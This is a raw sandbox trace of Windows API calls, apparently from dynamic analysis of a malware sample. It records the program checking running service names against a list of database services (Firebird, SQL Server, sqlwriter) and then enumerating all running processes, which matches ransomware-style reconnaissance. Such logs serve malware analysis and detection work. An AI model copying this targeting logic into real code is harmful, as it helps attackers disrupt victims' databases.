	[0060.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0060.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0060.440] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0060.440] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0060.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0060.441] lstrlenW (lpString="lmhosts") returned 7
	[0060.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0060.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0060.441] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0060.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0060.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0060.441] lstrlenW (lpString="LSM") returned 3
	[0060.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0060.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0060.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0060.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0060.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0060.441] lstrlenW (lpString="MapsBroker") returned 10
	[0060.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0060.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0060.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0060.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0060.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0060.441] lstrlenW (lpString="MpsSvc") returned 6
	[0060.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0060.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0060.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0060.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0060.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0060.442] lstrlenW (lpString="NcbService") returned 10
	[0060.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0060.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0060.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0060.442] lstrlenW (lpString="netprofm") returned 8
	[0060.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0060.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0060.442] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0060.442] lstrlenW (lpString="NlaSvc") returned 6
	[0060.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0060.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0060.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0060.442] lstrlenW (lpString="nsi") returned 3
	[0060.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0060.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0060.442] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0060.442] lstrlenW (lpString="PcaSvc") returned 6
	[0060.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0060.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0060.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0060.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0060.442] lstrlenW (lpString="PlugPlay") returned 8
	[0060.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0060.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0060.443] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0060.443] lstrlenW (lpString="Power") returned 5
	[0060.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0060.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0060.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0060.443] lstrlenW (lpString="ProfSvc") returned 7
	[0060.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0060.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0060.443] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0060.443] lstrlenW (lpString="RpcEptMapper") returned 12
	[0060.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0060.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0060.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0060.443] lstrlenW (lpString="RpcSs") returned 5
	[0060.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0060.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0060.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0060.443] lstrlenW (lpString="SamSs") returned 5
	[0060.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0060.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0060.443] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0060.444] lstrlenW (lpString="Schedule") returned 8
	[0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0060.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0060.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0060.444] lstrlenW (lpString="SecurityHealthService") returned 21
	[0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0060.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0060.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0060.444] lstrlenW (lpString="SENS") returned 4
	[0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0060.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0060.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0060.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0060.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0060.444] lstrlenW (lpString="ShellHWDetection") returned 16
	[0060.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0060.445] lstrlenW (lpString="Spooler") returned 7
	[0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0060.445] lstrlenW (lpString="SSDPSRV") returned 7
	[0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0060.445] lstrlenW (lpString="StateRepository") returned 15
	[0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0060.445] lstrlenW (lpString="SysMain") returned 7
	[0060.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0060.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0060.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0060.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0060.445] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0060.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384
	[0060.449] Process32FirstW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0060.449] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0060.450] lstrlenW (lpString="System") returned 6
	[0060.450] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0060.451] lstrlenW (lpString="smss.exe") returned 8
	[0060.451] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.451] lstrlenW (lpString="csrss.exe") returned 9
	[0060.452] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0060.452] lstrlenW (lpString="wininit.exe") returned 11
	[0060.452] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.453] lstrlenW (lpString="csrss.exe") returned 9
	[0060.453] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0060.454] lstrlenW (lpString="winlogon.exe") returned 12
	[0060.454] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0060.454] lstrlenW (lpString="services.exe") returned 12
	[0060.454] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0060.455] lstrlenW (lpString="lsass.exe") returned 9
	[0060.455] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.456] lstrlenW (lpString="svchost.exe") returned 11
	[0060.456] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0060.456] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0060.456] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0060.457] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0060.457] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.458] lstrlenW (lpString="svchost.exe") returned 11
	[0060.458] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0060.458] lstrlenW (lpString="dwm.exe") returned 7
	[0060.459] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.459] lstrlenW (lpString="svchost.exe") returned 11
	[0060.459] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.460] lstrlenW (lpString="svchost.exe") returned 11
	[0060.460] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.461] lstrlenW (lpString="svchost.exe") returned 11
	[0060.461] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.462] lstrlenW (lpString="svchost.exe") returned 11
	[0060.462] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.462] lstrlenW (lpString="svchost.exe") returned 11
	[0060.462] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.463] lstrlenW (lpString="svchost.exe") returned 11
	[0060.463] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.464] lstrlenW (lpString="svchost.exe") returned 11
	[0060.464] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.465] lstrlenW (lpString="svchost.exe") returned 11
	[0060.465] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.465] lstrlenW (lpString="svchost.exe") returned 11
	[0060.465] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0060.466] lstrlenW (lpString="spoolsv.exe") returned 11
	[0060.466] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.467] lstrlenW (lpString="svchost.exe") returned 11
	[0060.467] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.468] lstrlenW (lpString="svchost.exe") returned 11
	[0060.468] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0060.468] lstrlenW (lpString="audiodg.exe") returned 11
	[0060.468] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0060.469] lstrlenW (lpString="sihost.exe") returned 10
	[0060.469] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.470] lstrlenW (lpString="svchost.exe") returned 11
	[0060.470] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.470] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.470] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0060.471] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0060.471] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0060.472] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0060.472] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0060.472] lstrlenW (lpString="explorer.exe") returned 12
	[0060.473] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0060.473] lstrlenW (lpString="Memory Compression") returned 18
	[0060.473] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0060.474] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0060.474] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0060.475] lstrlenW (lpString="SearchUI.exe") returned 12
	[0060.475] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0060.475] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0060.475] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0060.476] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0060.476] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.477] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.477] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0060.478] lstrlenW (lpString="UsoClient.exe") returned 13
